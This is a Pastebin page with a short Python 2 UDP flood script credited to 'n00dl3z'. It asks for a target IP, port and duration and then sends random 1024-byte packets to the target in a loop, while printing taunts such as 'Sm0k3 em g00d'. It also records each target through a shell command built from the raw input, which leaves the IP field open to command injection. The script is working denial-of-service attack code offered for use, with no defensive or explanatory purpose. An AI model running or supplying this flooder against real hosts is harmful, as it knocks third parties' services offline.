Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #************************************************************************
- #* $$$$$$\ $$$$$$\ $$\ $$\ $$$$$$\ *
- #* $$$ __$$\ $$$ __$$\ $$ |$$ |$$ ___$$\ *
- #* $$$$$$$\ $$$$\ $$ |$$$$\ $$ | $$$$$$$ |$$ |\_/ $$ |$$$$$$$$\ *
- #* $$ __$$\ $$\$$\$$ |$$\$$\$$ |$$ __$$ |$$ | $$$$$ / \____$$ | *
- #* $$ | $$ |$$ \$$$$ |$$ \$$$$ |$$ / $$ |$$ | \___$$\ $$$$ _/ *
- #* $$ | $$ |$$ |\$$$ |$$ |\$$$ |$$ | $$ |$$ |$$\ $$ | $$ _/ *
- #* $$ | $$ |\$$$$$$ /\$$$$$$ /\$$$$$$$ |$$ |\$$$$$$ |$$$$$$$$\ *
- #* \__| \__| \______/ \______/ \_______|\__| \______/ \________| *
- #************************************************************************
- #Modified by n00dl3z
- #Skype: noodles.tar.gz
- #Youtube: @n00dl3z
- import time, socket, random, subprocess, sys
- from colorama import Fore, Style, Back
- print' '
- credits = (Fore.RED + Style.BRIGHT + 'UDP Flood modified by @n00dl3z')
- def lulz():
- global credits
- print credits
- lulz()
- def run(cmd):
- subprocess.call(cmd, shell=True)
- print' '
- print' '
- print' '
- client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) #okay so here I create the server, when i say "SOCK_DGRAM" it means it's a UDP type program
- bytes = random._urandom(1024) # 1024 representes one byte to the server
- ip = raw_input(Fore.GREEN + 'Target (Enter ip) - ' + Fore.GREEN + Style.BRIGHT)
- port = input(Fore.GREEN + 'Port - ' + Fore.GREEN + Style.BRIGHT)
- duration = input(Fore.GREEN + 'Time (Seconds) - ' + Fore.GREEN + Style.BRIGHT)
- run("echo Attacked: " + ip + " >> attack.txt")
- print' '
- print'Sm0k3 em g00d'
- print' '
- time.sleep(1)
- timeout = time.time() + duration
- packets = 0
- while 1:
- if time.time() > timeout:
- break
- else:
- pass
- client.sendto(bytes, (ip, port))
- packets = packets + 1
- print "Attacking: %s at port %s Packets sent: %s"%(ip, port, packets)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement